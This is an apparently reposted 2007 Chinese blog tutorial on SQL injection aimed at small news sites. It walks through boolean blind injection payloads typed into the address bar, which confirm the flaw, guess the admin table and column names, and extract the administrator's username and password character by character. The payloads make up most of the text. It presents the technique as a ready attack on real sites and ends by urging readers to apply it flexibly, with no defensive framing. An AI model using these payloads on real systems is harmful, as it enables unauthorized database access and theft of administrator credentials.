菜鳥學習SQL注射(轉)

post0發表於2007-08-11
菜鳥學習SQL注射(轉)[@more@]

一般國內的小一點的新聞站點程式 都有 ""&request 這種漏洞,下面我講解攻擊方法

在位址列:

and 1=1

檢視漏洞是否存在,如果存在就正常返回該頁,如果沒有,則顯示錯誤,繼續假設這個站的資料庫存在一個admin表

在位址列:

and 0<>(select count(*) from admin)

返回頁正常,假設成立了。

下面來猜猜看一下管理員表裡面有幾個管理員ID:

and 1

頁面什麼都沒有。管理員的數量等於或者小於1個

and 1=(select count(*) from admin)

輸入=1沒顯示錯誤,說明此站點只有一個管理員。

下面就是要繼續猜測admin 裡面關於管理員使用者名稱和密碼的欄位名稱。

and 1=(select count(*) from admin where len(username)>0)

猜解錯誤!不存在 username 這個欄位。只要一直改變括號裡面的username這個欄位,下面給大家幾個常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,使用者,yonghu

使用者名稱稱欄位猜解完成之後繼續猜解密碼欄位

and 1=(select count(*) from admin where len(password)>0)

password 欄位存在!因為密碼欄位一般都是這個拉,如果不是就試試pass如果還不是就自己想想吧

我們已經知道了管理員表裡面有3個欄位 id,user,password。

id 編號

user 使用者名稱

password 密碼

下面繼續的就是管理員使用者名稱和密碼的猜解了。一個一個來,有點麻煩,最好找個猜解機來

先猜出長度!

and 1=(select count(*) from admin where len(user)<10)

user 欄位長度小於10

and 1=(select count(*) from admin where len(user)<5)

user 欄位長度不小於5

慢慢的來,最後猜出長度等於6,請看下面,返回正常就說明猜解正確

and 1=(select count(*) from admin where len(user)=6)

下面猜密碼,

and 1=(select count(*) from admin where len(password)=10)

猜出來密碼10位,不要奇怪,現在網管都有防備的,所以密碼上20位也不太奇怪了

下面該做的就是把他們拆開來一個一個猜字母

and 1=(select count(*) from admin where left(user,1)=a)

返回正常,第一位字母等於a,千萬不要把大寫和小寫給搞錯了哦~~呵呵,如果不a就繼續猜其他的字元落,反正猜到返回正常就算OK了

開始猜解帳號的第二位字元。

and 1=(select count(*) from admin where left(user,2)=ad)

就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

工作還沒有完,別忙著跑了,還有10位密碼,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

經過無數次錯誤之後......

and 1=(select count(*) from admin where left(password,10)=administra)

結果密碼是administra

看完文章,大家不要照著我的文章做,網路上的東西是變幻無窮的,但是我相信大家的大腦肯定比他變得快,所以希望大家看了這個文章靈活運用!那樣才能達到理想的效果

=========================

文章型別:轉載 提交:沙加II 核查:NetDemo

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8225414/viewspace-945599/,如需轉載,請註明出處,否則將追究法律責任。

相關文章